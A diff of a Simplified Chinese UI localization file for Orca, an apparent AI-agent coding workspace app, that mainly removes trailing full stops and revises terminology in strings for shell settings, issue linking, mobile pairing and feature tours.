+          "windowsTerminalSubtitle": "为新面板选择默认 Shell，以及终端中右键单击的行为",
           "stepOfTotal": "{{current}} / {{total}}"
         },
         "OnboardingFooter": {
@@ -14445,8 +14754,8 @@
           "ab2a583a97": "光标",
           "cc1858e19e": "字体",
           "248c812283": "导入",
-          "7ee9234e54": "已检测 Ghostty 配置。",
-          "78b6386140": "已从 Ghostty 导入。",
+          "7ee9234e54": "已检测 Ghostty 配置",
+          "78b6386140": "已从 Ghostty 导入",
           "2c3aa538f8": "正在查找 Ghostty 配置…",
           "ad192706e6": "浅色",
           "fa7b673ea9": "深色",
@@ -14466,42 +14775,42 @@
         },
         "WindowsTerminalStep": {
           "powerShell": "PowerShell",
-          "powerShellPwsh": "在可用时使用 PowerShell 7+，否则回退到 Windows PowerShell。",
-          "powerShellInbox": "使用每个受支持的 Windows 安装中都提供的 Windows PowerShell。",
+          "powerShellPwsh": "在可用时使用 PowerShell 7+，否则回退到 Windows PowerShell",
+          "powerShellInbox": "使用每个受支持的 Windows 安装中都提供的 Windows PowerShell",
           "commandPrompt": "命令提示符",
-          "commandPromptDescription": "以经典 cmd.exe 行为打开新的终端面板。",
-          "gitBash": "Git Bash",
-          "gitBashDescription": "使用 Git for Windows 的 bash.exe 进行 Unix 风格的 shell 工作流。",
-          "gitBashUnavailable": "已选择，但此电脑未检测到 Git Bash。",
+          "commandPromptDescription": "以经典 cmd.exe 行为打开新的终端面板",
+          "gitBash": "git bash",
+          "gitBashDescription": "使用 Git for Windows 的 bash.exe 进行 Unix 风格的 shell 工作流",
+          "gitBashUnavailable": "已选择，但此电脑未检测到 Git Bash",
           "wsl": "WSL",
-          "wslDescription": "在 Windows Subsystem for Linux 的默认环境中启动新的终端面板。",
-          "wslUnavailable": "已选择，但此电脑未检测到 WSL。",
+          "wslDescription": "在 Windows Subsystem for Linux 的默认环境中启动新的终端面板",
+          "wslUnavailable": "已选择，但此电脑未检测到 WSL",
           "rightClickPaste": "右键单击时粘贴",
-          "rightClickPasteDescription": "右键单击会粘贴剪贴板内容。Ctrl+右键单击会打开上下文菜单。",
+          "rightClickPasteDescription": "右键单击会粘贴剪贴板内容，Ctrl+右键单击会打开上下文菜单",
           "rightClickMenu": "打开上下文菜单",
-          "rightClickMenuDescription": "右键单击会打开终端菜单。可从菜单或键盘粘贴。",
+          "rightClickMenuDescription": "右键单击会打开终端菜单，可从菜单或键盘粘贴",
           "loading": "正在加载终端设置...",
           "defaultShell": "默认 Shell",
-          "defaultShellDescription": "选择 Orca 在新的 Windows 终端面板中打开的 shell。",
+          "defaultShellDescription": "选择 Orca 在新的 Windows 终端面板中打开的 shell",
           "wslDistribution": "WSL 发行版",
-          "wslDistributionDescription": "使用 Windows 默认发行版，或选择一个已安装的特定发行版。",
+          "wslDistributionDescription": "使用 Windows 默认发行版，或选择一个已安装的特定发行版",
           "loadingDistros": "正在加载发行版",
           "windowsDefault": "Windows 默认值",
           "rightClickBehavior": "右键单击行为",
-          "rightClickBehaviorDescription": "选择符合你在 Windows 上使用习惯的终端鼠标行为。"
+          "rightClickBehaviorDescription": "选择符合你在 Windows 上使用习惯的终端鼠标行为"
         },
         "mac": {
           "notification": {
             "permission": {
               "card": {
-                "f696515944": "在 macOS 对话框中点按允许。",
-                "721d2bedb6": "在系统设置中为 Orca 开启允许通知。"
+                "f696515944": "在 macOS 对话框中点按允许",
+                "721d2bedb6": "在系统设置中为 Orca 开启允许通知"
               }
             }
           }
         },
         "FeatureSetupInlineTerminal": {
-          "789b59936e": "按 Enter 运行命令并在询问时确认 npx。您也可以稍后在“设置”中进行设置。",
+          "789b59936e": "按 Enter 运行命令并在询问时确认 npx，您也可以稍后在\"设置\"中进行设置",
           "47fc6cc6dc": "技能设置命令",
           "c767ab7061": "技能设置"
         }
@@ -14527,7 +14836,7 @@
             "2319d87718": "合并",
             "622864b52a": "开放",
             "fda67f0b61": "当前项目",
-            "3e8bb1176a": "在设置中连接 Linear 以搜索议题。",
+            "3e8bb1176a": "在设置中连接 Linear 以搜索议题",
             "switchTaskSourceTitle": "切换任务来源？",
             "currentTaskSource": "当前任务来源",
             "placeholderNameOrLinearUrl": "输入名称、Linear URL 或 Jira URL",
@@ -14543,7 +14852,7 @@
             "searchLinear": "搜索 Linear 议题",
             "workspaceName": "工作区名称",
             "loadingJira": "正在加载 Jira 议题…",
-            "jiraDisconnected": "请在“设置”中连接 Jira 以关联此议题",
+            "jiraDisconnected": "请在\"设置\"中连接 Jira 以关联此议题",
             "jiraSiteNotConnected": "此 Jira 站点尚未连接",
             "jiraRuntimeUpdate": "请更新远程运行时以关联 Jira",
             "jiraReadFailed": "无法加载此 Jira 议题",
@@ -14553,25 +14862,26 @@
             "retryJira": "重试",
             "searchJira": "搜索 Jira 议题或粘贴议题 URL",
             "jiraMode": "Jira",
-            "jiraSelectBindFailed": "无法关联此 Jira 议题。请选择匹配的站点或重新连接 Jira，然后重试。",
-            "emoji": "Emoji",
+            "jiraSelectBindFailed": "无法关联此 Jira 议题，请选择匹配的站点或重新连接 Jira，然后重试",
+            "emoji": "表情符号",
             "loadingLinearIssue": "正在加载 Linear 议题...",
             "linearLoginUnreadableTitle": "重新连接 Linear",
-            "linearLoginUnreadableBody": "无法读取已保存的 Linear 登录信息。请在设置中重新连接。",
+            "linearLoginUnreadableBody": "无法读取已保存的 Linear 登录信息，请在设置中重新连接",
             "keepRepo": "保留 {{name}}",
             "switchToRepo": "切换到 {{name}}",
-            "crossRepoDifferentTaskSource": "GitHub URL 指向 {{repo}}，与所选任务来源不同。",
-            "crossRepoDifferentProject": "GitHub URL 指向 {{repo}}，与所选项目不同。",
+            "crossRepoDifferentTaskSource": "GitHub URL 指向 {{repo}}，与所选任务来源不同",
+            "crossRepoDifferentProject": "GitHub URL 指向 {{repo}}，与所选项目不同",
             "useAsWorkspaceName": "使用 <name>“{{name}}”</name> 作为工作区名称",
             "createNewBranchNamed": "创建新分支 <name>{{name}}</name>"
           },
           "ProjectCombobox": {
-            "empty": "没有匹配搜索的项目。",
+            "empty": "没有匹配搜索的项目",
             "addProject": "添加新项目",
             "label": "项目",
             "browse": "浏览项目",
             "listLabel": "项目",
-            "noProjects": "尚无项目。"
+            "noProjects": "尚无项目",
+            "projectDetail": "项目"
           },
           "RunTargetCombobox": {
             "listLabel": "运行目标",
@@ -14580,17 +14890,31 @@
           },
           "SetProjectLocationDialog": {
             "title": "设置项目位置",
-            "description": "选择 {{project}} 位于 {{host}} 上的位置。",
+            "description": "选择 {{project}} 在 {{host}} 上的位置",
             "browseFolder": "浏览文件夹",
-            "browseFolderHelp": "使用该主机上现有的签出或文件夹。",
+            "browseFolderHelp": "使用此主机上已有的检出目录或文件夹",
             "cloneFromUrl": "从 URL 克隆",
-            "cloneFromUrlHelp": "将此仓库克隆到 {{host}} 上。",
+            "cloneFromUrlHelp": "将此仓库克隆到 {{host}}",
             "saveLocation": "设置位置"
           },
           "projectCombobox": {
             "recentHeading": "最近",
             "projectsHeading": "项目",
             "foldersHeading": "文件夹"
+          },
+          "smart": {
+            "workspace": {
+              "empty": {
+                "hint": {
+                  "42997fb707": "开始输入以创建名称或查找来源",
+                  "b2bc38e7d7": "开始输入以搜索 GitHub PR 和议题",
+                  "b1418294ea": "开始输入以搜索 GitLab MR 和议题",
+                  "80e7791c93": "没有匹配的分支",
+                  "b4e65d98a6": "开始输入以搜索 Linear 议题",
+                  "5ba5d3e516": "开始输入以搜索 Jira 议题，或粘贴议题 URL"
+                }
+              }
+            }
           }
         }
       },
@@ -14605,45 +14929,45 @@
           "4c1df4eba7": "无法扫描？",
           "85067b9e06": "刷新网络接口",
           "dfd2aa9d5d": "网络",
-          "3960f5c339": "第 2 步（共 2 步）",
+          "3960f5c339": "第 2 步(共 2 步)",
           "3241f3c26a": "安装二维码",
           "aa97420ba4": "复制安装链接",
           "ac1eb64952": "安卓",
           "711e6f4b47": "iOS系统",
-          "e75647ace0": "用手机相机扫描此下载二维码。已经安装 Orca Mobile？继续到第 2 步查看配对二维码。",
-          "0d9b33299e": "下载应用。",
-          "92ddfdfa1f": "第 1 步（共 2 步）",
+          "e75647ace0": "用手机相机扫描此下载二维码。已经安装 Orca Mobile？继续到第 2 步查看配对二维码",
+          "0d9b33299e": "下载应用",
+          "92ddfdfa1f": "第 1 步(共 2 步)",
           "ff48d9d520": "与另一台设备配对",
           "f9cbf4bb53": "撤销设备",
           "34f878d04f": "撤销 {{value0}}",
           "94829abdb1": "配对",
-          "266c18c105": "打开 Orca 手机端 从上次中断的地方继续，或配对其他设备。",
+          "266c18c105": "打开 Orca 手机端 从上次中断的地方继续，或配对其他设备",
           "5410d55d79": "Orca 手机端",
           "10d27b4cba": "开始使用",
           "da1d5e5ed0": "可用于",
           "ec0607bf66": "支持的手机平台",
-          "b4ccce5cb7": "从您的手机控制 Orca。当您离开办公桌时，检查智能体、查看更改并启动任务。",
-          "cd4e5e816f": "您的工作区就在您的口袋里。",
+          "b4ccce5cb7": "从您的手机控制 Orca，在您离开办公桌时，可以检查代理、查看更改并启动任务",
+          "cd4e5e816f": "工作区就在您的口袋里",
           "a6cffbbb0b": "生成代码",
           "e59a252eca": "重新生成代码",
-          "d0b52871ce": "您的手机已配对。",
-          "051978a785": "您的手机已配对。",
-          "pairingQrError": "无法将此配对码呈现为二维码。请改为将其复制到 Orca Mobile。",
+          "d0b52871ce": "您的手机已配对",
+          "051978a785": "您的手机已配对",
+          "pairingQrError": "无法将此配对码呈现为二维码，请改为将其复制到 Orca Mobile",
           "directAddressDisclosure": "也可使用更快的本地连接",
-          "directAddressHint": "可选。选择手机在附近（同一 Wi‑Fi 或 Tailscale）时使用的地址，通常比 Relay 更快。外出时仍走 Relay。",
+          "directAddressHint": "选择手机在附近(同一 Wi‑Fi 或 Tailscale)时使用的地址，通常比 Relay 更快，外出时仍走 Relay",
           "noRelayCode": "没有可用的配对码",
           "noPairingCode": "没有可用的配对码",
-          "qrSignInRequired": "登录以创建中继配对码",
-          "qrRenderFailed": "无法呈现二维码 — 复制下面的代码",
+          "qrSignInRequired": "登录以创建 Relay 配对码",
+          "qrRenderFailed": "无法渲染二维码 — 请复制下方代码",
           "qrGeneratePrompt": "生成配对码以继续",
-          "pairingCodeReady": "配对码已准备就绪",
-          "pairThisMac": "将此 Mac 配对。",
-          "pairThisPc": "与这台电脑配对。",
-          "pairThisComputer": "配对这台计算机。",
+          "pairingCodeReady": "配对码已就绪",
+          "pairThisMac": "配对此 Mac",
+          "pairThisPc": "配对此 PC",
+          "pairThisComputer": "配对此电脑",
           "androidHelp": {
             "guide": "安装指南"
           },
-          "openAppAndScan": "打开 Orca Mobile，点按 <strong>配对桌面</strong>，然后扫描二维码。"
+          "openAppAndScan": "打开 Orca Mobile，点按 <strong>配对桌面</strong>，然后扫描二维码"
         },
         "MobilePage": {
           "e17393c6a3": "手机预览",
@@ -14655,16 +14979,16 @@
           "b353e18de1": "WebSocket 传输未运行",
           "4e1eb5d55c": "撤销设备失败",
           "255372e6e8": "设备已撤销",
-          "diagnosticsCopied": "已复制诊断信息",
-          "diagnosticsCopyFailed": "无法复制诊断信息"
+          "diagnosticsCopied": "诊断信息已复制",
+          "diagnosticsCopyFailed": "复制诊断信息失败"
         },
         "MobilePageToolbar": {
           "ad2284a9e2": "关闭 · Esc",
           "9883b58693": "关闭 Orca 手机",
           "fb5f28330e": "在侧边栏中显示",
           "c669abcf8f": "从侧边栏隐藏",
-          "e1c7b4a92d": "在设置 > 移动端中配置。",
-          "f3d8e5b71a": "将快捷方式添加回左侧边栏。"
+          "e1c7b4a92d": "在设置 > 移动端中配置",
+          "f3d8e5b71a": "将快捷方式添加回左侧边栏"
         },
         "PhoneCarousel": {
           "96d651cb87": "终端会话",
@@ -14684,33 +15008,33 @@
             "a4c3f7b7aa": "任务",
             "cf3f98fa3f": "已断开连接",
             "19c212e25e": "MacBook Pro",
-            "2f1a1d10c4": "台式机",
+            "2f1a1d10c4": "桌面设备",
             "af761a0c0d": "设置",
             "5d94e8ddcc": "Orca"
           },
           "TerminalSlide": {
             "0bb39f8fe6": "发送",
-            "69334b4b10": "语音听写",
-            "29f2d13839": "输入命令...",
+            "69334b4b10": "语音输入",
+            "29f2d13839": "输入命令…",
             "817090af40": "Ctrl+C",
             "53ff909568": "选项卡",
             "4930eaaae7": "Esc键",
             "fa22927f13": "粘贴",
             "985373052e": "切换到手机模式",
-            "58a9ee6003": "工具调用格式化。接下来要我添加差异吗？",
-            "aa64b519c6": "终端屏幕。Tokyonight 配色，Menlo，真实 Claude",
-            "e75112c834": "我已经用高保真幻灯片替换了配对扫描幻灯片",
-            "3ce3e8c892": "14 次通过，1 次跳过（1.8 秒）",
+            "58a9ee6003": "工具调用格式，接下来要我补上 diff 吗？",
+            "aa64b519c6": "终端界面，采用 Tokyonight 配色和 Menlo 字体，并还原 Claude 的",
+            "e75112c834": "我已将配对扫码页换成高保真",
+            "3ce3e8c892": "14 项通过，1 项跳过（1.8 秒）",
             "4b3666f9a9": "src/cache/worktree-cache.test.ts",
             "1d448b69f7": "经过",
             "d39445686a": "src/transport/host-store.test.ts",
             "a6e7cdc688": "pnpm 测试 -- 搜索手机设备",
             "21b67dfc92": "Bash",
-            "d6d1041a1c": "⎿ 用终端会话替换配对扫描幻灯片",
+            "d6d1041a1c": "⎿ 已将配对扫码页替换为终端会话",
             "336c0e070e": "手机/orca-mobile-sidebar-mock-v3.html",
             "6d4ebd5833": "编辑",
-            "fc83e0d5ef": "⎿ 阅读2103行",
-            "80cc356591": "读",
+            "fc83e0d5ef": "⎿ 读取了 2103 行",
+            "80cc356591": "读取",
             "2c10d43745": "claude",
             "e0f98be657": "Orca/壮举-手机页面",
             "2defc05141": "开发@mac",
@@ -14723,10 +15047,10 @@
             "8fd998acd3": "返回"
           },
           "WorktreeListSlide": {
-            "357a519567": "当前",
+            "357a519567": "活跃",
             "79a24ff530": "已固定",
             "22971156df": "仓库",
-            "17f9e0d226": "最近的",
+            "17f9e0d226": "最近",
             "0e3e809a4b": "筛选",
             "b4271864bd": "MacBook Pro",
             "cefd048225": "返回"
@@ -14734,56 +15058,56 @@
         },
         "CustomNetworkAddressDialog": {
           "title": "自定义网络地址",
-          "description": "公布一个手机可访问的地址，例如 Tailscale 主机名、IP 地址或反向代理 URL。",
+          "description": "公布一个手机可访问的地址，例如 Tailscale 主机名、IP 地址或反向代理 URL",
           "label": "地址",
           "placeholder": "home.example.com:8443 或 https://example.com/orca",
-          "hint": "请输入 IPv4/IPv6 地址、主机名或完整的 HTTP(S)/WebSocket URL。端口可选。",
+          "hint": "请输入 IPv4/IPv6 地址、主机名或完整的 HTTP(S)/WebSocket URL，端口可选",
           "cancel": "取消",
           "use": "使用地址",
-          "confirmationError": "此地址无法生成可扫描的配对码。请检查地址后重试。"
+          "confirmationError": "此地址无法生成可扫描的配对码，请检查地址后重试"
         },
         "NetworkInterfacePicker": {
           "trigger-label": "要公布的网络地址",
-          "custom-option": "{{address}}（自定义）",
+          "custom-option": "{{address}}(自定义)",
           "add-custom": "添加自定义地址…",
           "no-address-selected": "未选择地址",
           "custom-section": "自定义",
-          "remove-custom": "删除 {{address}}"
+          "remove-custom": "移除 {{address}}"
         },
         "WindowsFirewallNotice": {
           "repair-success": "Windows 防火墙现已允许 Orca Mobile 在专用网络上通信",
           "repair-failed": "无法更新 Windows 防火墙规则",
           "public-title": "Windows 将此网络标记为公用",
           "missing-title": "允许手机连接通过 Windows 防火墙",
-          "public-description": "请先将此受信任的 Wi-Fi 网络更改为专用网络，然后再允许 Orca Mobile 连接。",
-          "missing-description": "Windows 可能会阻止配对服务器。请为此 Orca 应用和专用网络上的 TCP 端口 {{port}} 添加规则。",
+          "public-description": "请先将此受信任的 Wi-Fi 网络更改为专用网络，然后再允许 Orca Mobile 连接",
+          "missing-description": "Windows 可能会阻止配对服务器，请为此 Orca 应用和专用网络上的 TCP 端口 {{port}} 添加规则",
           "open-settings": "打开网络设置",
           "waiting": "正在等待 Windows…",
           "allow": "允许手机连接",
           "repair-unverified": "无法验证 Windows 防火墙访问权限",
           "blocked-title": "Windows 可能正在阻止 Orca Mobile",
-          "blocked-description": "现有的入站阻止规则可能会覆盖配对例外。修复将移除此 Orca 应用的冲突 TCP 规则，然后在专用网络上允许端口 {{port}}。",
+          "blocked-description": "现有的入站阻止规则可能会覆盖配对例外，修复将移除此 Orca 应用的冲突 TCP 规则，然后在专用网络上允许端口 {{port}}",
           "repair": "修复防火墙访问权限",
-          "relay-note": "配对仍可通过 Orca Relay 进行 — 允许后只是额外获得更快的本地连接。"
+          "relay-note": "配对仍可通过 Orca Relay 进行 — 允许后只是额外获得更快的本地连接"
         },
         "MobileRelayMintFailureNotice": {
-          "retryingTitle": "正在重试 Orca 中继...",
-          "unavailableTitle": "Orca Relay 在此桌面上不可用。",
-          "title": "无法创建中继配对代码。",
-          "retryingBody": "创建新的配对代码。通过远程连接，这可能需要一些时间。",
-          "unavailableBody": "使用 LAN 通过 Tailscale 或相同的 Wi-Fi 进行配对。",
-          "body": "重试，或使用 LAN 通过 Tailscale 或相同的 Wi-Fi 进行配对。",
-          "useLan": "使用局域网",
-          "retrying": "正在重试...",
-          "retry": "重试中继",
-          "copyDiagnostics": "复制诊断",
-          "reconnectTitle": "您的 Orca 帐户会话已过期。",
-          "reconnectBody": "再次登录以使用 Orca Relay，或使用 LAN 通过 Tailscale 或同一 Wi-Fi 进行配对。",
-          "notEntitledTitle": "此 Orca 账户不包含 Orca Relay。",
-          "rateLimitedBody": "Orca Relay 正忙。请等待一分钟再重试，或使用 LAN 通过 Tailscale 或同一 Wi‑Fi 配对。"
+          "retryingTitle": "正在重试 Orca Relay…",
+          "unavailableTitle": "此桌面不可用 Orca Relay",
+          "title": "无法创建 Relay 配对码",
+          "retryingBody": "正在创建新配对码，远程连接时可能需要一点时间",
+          "unavailableBody": "使用 LAN 通过 Tailscale 或同一 Wi‑Fi 配对",
+          "body": "请重试，或使用 LAN 通过 Tailscale 或同一 Wi‑Fi 配对",
+          "useLan": "使用 LAN",
+          "retrying": "正在重试…",
+          "retry": "重试 Relay",
+          "copyDiagnostics": "复制诊断信息",
+          "reconnectTitle": "你的 Orca 账户会话已过期",
+          "reconnectBody": "请重新登录以使用 Orca Relay，或通过 Tailscale 或同一 Wi‑Fi 使用局域网配对",
+          "notEntitledTitle": "此 Orca 账户不包含 Orca Relay",
+          "rateLimitedBody": "Orca Relay 正忙，请等待一分钟再重试，或使用 LAN 通过 Tailscale 或同一 Wi‑Fi 配对"
         },
         "relayClockSkewMessage": {
-          "message": "你的电脑时钟偏差约 {{seconds}} 秒。请开启自动设置时间，然后重试。"
+          "message": "你的电脑时钟偏差约 {{seconds}} 秒。请开启自动设置时间，然后重试"
         }
       },
       "gitlab": {
@@ -14792,12 +15116,12 @@
             "limit": {
               "display": {
                 "ebc0e8ecf1": "正在加载 GitLab API 预算...",
-                "a2d3d1fdde": "GitLab API 预算不可用。",
+                "a2d3d1fdde": "GitLab API 预算不可用",
                 "a2f68645ac": "刷新 GitLab API 预算",
-                "2f9c16d6c3": "Orca 通过 GitLab CLI 使用 REST。",
+                "2f9c16d6c3": "Orca 通过 GitLab CLI 使用 REST",
                 "14e144f7a7": "GitLab API预算",
                 "0a891e8935": "REST API",
-                "953f7c6062": "此 GitLab 主机未返回速率限制标头。",
+                "953f7c6062": "此 GitLab 主机未返回速率限制标头",
                 "budget_scope_prefix": "预算范围",
                 "resetUnknown": "未知",
                 "remainingOfLimit": "剩余 {{remaining}}/{{limit}}，{{reset}} 后重置"
@@ -14814,9 +15138,9 @@
             "0ee79e0674": "移至状态栏"
           },
           "FloatingTerminalOrchestrationDialog": {
-            "f726054620": "使智能体能够通过 Orca 传递上下文并协调工作。",
+            "f726054620": "使代理能够通过 Orca 传递上下文并协调工作",
             "1cd3f8af64": "编排技能",
-            "6f0aed26b8": "安装 Orca CLI 和编排技能，以便智能体可以通过 Orca 进行协调。",
+            "6f0aed26b8": "安装 Orca CLI 和编排技能，以便代理可以通过 Orca 进行协调",
             "05d7aabc20": "未安装",
             "630c0ac8c8": "已安装",
             "dfd021ce46": "检查中...",
@@ -14830,7 +15154,7 @@
             "3215fc73e9": "新终端",
             "bbc177f98f": "启用",
             "adc281394d": "关闭",
-            "8cf80db43b": "设置 Orca CLI 和智能体技能，以便智能体可以通过 Orca 进行协调。",
+            "8cf80db43b": "设置 Orca CLI 和代理技能，以便代理可以通过 Orca 进行协调",
             "2a3c5ddf5e": "启用编排",
             "8b14ba6c17": "新浏览器选项卡"
           },
@@ -14855,17 +15179,17 @@
         "wall": {
           "AgentCapabilitiesSetupAction": {
             "b8dc9dd8a2": "已安装",
-            "1b51644c2d": "让智能体控制桌面、手机光标、单击并在任何应用程序中键入。",
+            "1b51644c2d": "让代理控制桌面、手机光标、单击并在任何应用程序中键入",
             "362a07517d": "计算机控制",
-            "5e8fe5a72d": "让智能体直接访问 Orca 的浏览器，以便测试页面、捕获屏幕截图并根据所见内容执行操作。",
-            "e638da007a": "智能体浏览器使用",
-            "c61c91e642": "让智能体通过 Orca 进行协调，以确保大型、多步骤的任务顺利完成。",
-            "ac07f8887f": "智能体编排",
+            "5e8fe5a72d": "让代理直接访问 Orca 的浏览器，以便测试页面、捕获屏幕截图并根据所见内容执行操作",
+            "e638da007a": "代理浏览器使用",
+            "c61c91e642": "让代理通过 Orca 进行协调，以确保大型、多步骤的任务顺利完成",
+            "ac07f8887f": "代理编排",
             "e9eb197e12": "打开计算机使用权限",
             "c605f51f2b": "能力设置就绪",
             "1aa657d8f4": "一些能力设置需要注意",
             "installSkills": "安装技能",
-            "settingUp": "正在设置功能…",
+            "settingUp": "正在设置能力…",
             "disableRow": "禁用 {{title}}",
             "enableRow": "启用 {{title}}"
           },
@@ -14873,12 +15197,12 @@
             "8d4152701a": "例如llama 运行 llama3.1 {{value0}}",
             "9ee54037a4": "自定义命令",
             "560d4feb00": "自定义",
-            "29d119fe95": "智能体",
+            "29d119fe95": "代理",
             "f9382b48a1": "启用AI作者",
             "1c0cb4fabb": "AI 作者",
             "bd14e9c42a": "未配置",
             "1f9468c5c9": "{{value0}} 不支持",
-            "unsupportedAgent": "不支持 {{agent}}。请选择 Claude、Codex 或自定义。"
+            "unsupportedAgent": "不支持 {{agent}}。请选择 Claude、Codex 或自定义"
           },
           "BrowserAnimatedVisual": {
             "46df009982": "开始免费试用",
@@ -14894,7 +15218,7 @@
             "7da6eed7bf": "localhost:3000",
             "0a2bd01c02": "新浏览器选项卡",
             "04096318ab": "终端 1",
-            "eb88125c6f": "✓ 已验证 — 免费试用仍然有效。",
+            "eb88125c6f": "✓ 已验证 — 免费试用仍然有效",
             "051c97d15a": ".pp-card[data-card=\"starter\"] .pp-cta",
             "4fa59ca545": "✓ 更新",
             "1bec24acc1": "@keyframes browserFlash { 0% { opacity: 0; } 20% { opacity: 0.85; } 100% { opacity: 0; } } @keyframes browserTabIn { from { opacity: 0; transform: translateY(-2px); } to { opacity: 1; transform: none; } } @keyframes browserViewIn { from { opacity: 0; transform: translateY(4px); } to { opacity: 1; transform: none; } }",
@@ -14902,7 +15226,7 @@
             "f39be6ca14": "/报名"
           },
           "BrowserUseSkillSetupCard": {
-            "cbc45022d4": "使智能体能够在 Orca 浏览器中导航和验证页面。",
+            "cbc45022d4": "使代理能够在 Orca 浏览器中导航和验证页面",
             "d5bb1cd4ba": "浏览器使用技能"
           },
           "EditorAnimatedVisual": {
@@ -14917,9 +15241,9 @@
             "a26a68d30c": "标题 2",
             "722170663a": "标题 1",
             "1fb29ad710": "标题",
-            "4426aab46f": "新图块落地后更新文档索引。",
-            "95f0c3a46f": "在新机器上对安装流程进行冒烟测试。",
-            "22ae7b4d9d": "给团队的一句简短说明——在发布前汇总剩余工作。",
+            "4426aab46f": "新图块落地后更新文档索引",
+            "95f0c3a46f": "在新机器上对安装流程进行冒烟测试",
+            "22ae7b4d9d": "给团队的一句简短说明——在发布前汇总剩余工作",
             "5a55c00a81": "推出计划",
             "218503f9f3": "自动保存",
             "cda56c5915": "笔记/launch-plan.md",
@@ -14929,7 +15253,7 @@
             "25ec5356d6": "设置"
           },
           "FeatureWallModal": {
-            "33dca8bbbe": "Orca 的一个简短的、逐个工作流程的浏览。",
+            "33dca8bbbe": "Orca 的一个简短的、逐个工作流程的浏览",
             "3567e147c8": "了解 Orca"
           },
           "FeatureWallPreview": {
@@ -14945,7 +15269,7 @@
             "13294d3405": "完成"
           },
           "FeatureWallSetupWorkflowActions": {
-            "486c2f4d8d": "首先添加 git 项目，然后配置该仓库的安装脚本。",
+            "486c2f4d8d": "首先添加 git 项目，然后配置该存储库的安装脚本",
             "00078a6134": "在设置中查看",
             "14327073cc": "保存",
             "88469e926b": "设置脚本",
@@ -14954,7 +15278,7 @@
             "6299297dac": "设置脚本已保存",
             "f0bbf7da77": "尝试一下",
             "522cce9e33": "添加项目",
-            "addProjectFirst": "请先添加一个你想参与的项目。"
+            "addProjectFirst": "请先添加一个你想参与的项目"
           },
           "FeatureWallTourPanel": {
             "af7d622f6f": "可选"
@@ -14970,10 +15294,10 @@
             "271ea0cbf3": "取消",
             "a7a89d8f94": "线",
             "5cb213f967": "AI 笔记",
-            "1eee3a397e": "src/server/migrate.ts（差异）"
+            "1eee3a397e": "src/server/migrate.ts(差异)"
           },
           "ReviewPRViewAnimatedVisual": {
-            "7c2808ecff": "合并前截断。",
+            "7c2808ecff": "合并前截断",
             "c2062da7ec": "标准错误",
             "6f4c2d7cb7": "添加承保案例",
             "71828fba75": "我们可以将失败的命令包含在诊断负载中吗？",
@@ -14996,16 +15320,16 @@
             "f4d5e1a7b2": "3 个检查"
           },
           "ReviewShipAnimatedVisual": {
-            "4d99496b8c": "创建PR",
+            "4d99496b8c": "创建 PR",
             "62544e0852": "取消",
-            "bcd5cae3c4": "PR描述",
+            "bcd5cae3c4": "PR 描述",
             "3774b80eae": "描述",
-            "07da9245cc": "PR标题",
+            "07da9245cc": "PR 标题",
             "54a093c52d": "标题",
             "3b9b96d6a6": "main",
             "ce7d5d3a18": "基础分支",
             "e4473d438f": "用 AI 生成",
-            "c30cd930ff": "创建PR",
+            "c30cd930ff": "创建 PR",
             "ea0100dd15": "查看全部",
             "e725000cd7": "更改",
             "a079083a6c": "提交",
@@ -15034,10 +15358,10 @@
             "c0eb94125e": "审查授权边缘情况",
             "431ca9842a": "Claude Code 会话已开始",
             "000106adfe": "claude",
-            "7d9f1d5f7d": "（0.8秒）",
+            "7d9f1d5f7d": "(0.8秒)",
             "944199e54a": "› 购物车总更新",
             "623881d72e": "checkout.spec.ts",
-            "5c5cbd783f": "（1.2秒）",
+            "5c5cbd783f": "(1.2秒)",
             "3261c6853b": "› 可以登录",
             "defe550fe2": "login.spec.ts",
             "0b20782e0f": "使用 4 名工作人员运行 12 项测试",
@@ -15076,22 +15400,22 @@
                 "checklist": {
                   "localized": {
                     "copy": {
-                      "62bac8f43c": "同时在 2 个不同的工作树中工作。每个项目都是独立的（即使在同一个项目中）。非常适合同时处理 2 个功能。",
+                      "62bac8f43c": "同时在 2 个工作树中工作，即使属于同一项目也彼此隔离，适合并行推进两个功能",
                       "908898c3ee": "使用 Orca 浏览器",
-                      "43781563c3": "无需离开 Orca 即可浏览您的网络应用程序。抓取任何元素，然后一键将其确切的来源和样式发送给智能体。",
-                      "29aa2c2077": "打开通知",
-                      "71bd9a8c95": "了解智能体完成、需要关注或被阻止的时刻。",
-                      "46db810da8": "选择您的默认智能体",
-                      "b8e5bae17f": "通过已选择的首选智能体，更快地开始新工作。",
+                      "43781563c3": "无需离开 Orca 即可浏览网页应用，一键抓取元素，并把精确源码与样式发给代理",
+                      "29aa2c2077": "开启通知",
+                      "71bd9a8c95": "代理完成、需要关注或受阻时立即收到提醒",
+                      "46db810da8": "选择默认代理",
+                      "b8e5bae17f": "预先选好常用代理，开始新工作时更快",
                       "ad342dd4c6": "连接集成",
-                      "06fe30fdb0": "一键从任务启动智能体并查看 PR 状态。",
-                      "eddc532e58": "自动化工作区设置",
-                      "56049b74c2": "自动运行安装和设置命令，以便每个新工作树都为智能体做好准备。",
+                      "06fe30fdb0": "从任务一键启动代理，并持续查看 PR 状态",
+                      "eddc532e58": "自动完成工作区准备",
+                      "56049b74c2": "自动运行安装与配置命令，让每个新工作树都能直接给代理使用",
                       "2cf795433b": "在多个仓库中开始工作",
-                      "42525ba8a4": "将您的关键仓库带入 Orca，这样您就可以开始智能体工作，而无需寻找文件夹。",
+                      "42525ba8a4": "把常用仓库加入 Orca，启动代理时不必再翻文件夹",
                       "workOnTwoTasks": "同时处理两项任务",
                       "agentSkillsName": "为智能体提供 Orca 技能",
-                      "agentSkillsDescription": "安装智能体用于操作 Orca 浏览器、控制你的电脑以及协调多步骤工作的技能。"
+                      "agentSkillsDescription": "安装智能体用于操作 Orca 浏览器、控制你的电脑以及协调多步骤工作的技能"
                     }
                   }
                 }
@@ -15132,15 +15456,15 @@
                 "79971d1539": "重新设计身份验证流程"
               },
               "UsageAccountsCard": {
-                "6986b36708": "表面利率限制和内联掉期账户。",
-                "d90d2e1f6d": "跟踪会话和每周使用情况。",
-                "8919321417": "Codex 登录失败。",
-                "c7b90c140b": "添加了 Codex 账户。",
-                "9ddeb558f9": "已添加 Claude 账户。",
+                "6986b36708": "表面利率限制和内联掉期账户",
+                "d90d2e1f6d": "跟踪会话和每周使用情况",
+                "8919321417": "Codex 登录失败",
+                "c7b90c140b": "添加了 Codex 账户",
+                "9ddeb558f9": "已添加 Claude 账户",
                 "29d0653961": "登入",
                 "945865332e": "登录",
                 "accountStatusUnknown": "账户状态未知",
-                "4e71d72912": "Claude 登录失败。"
+                "4e71d72912": "Claude 登录失败"
               },
               "UsagePage": {
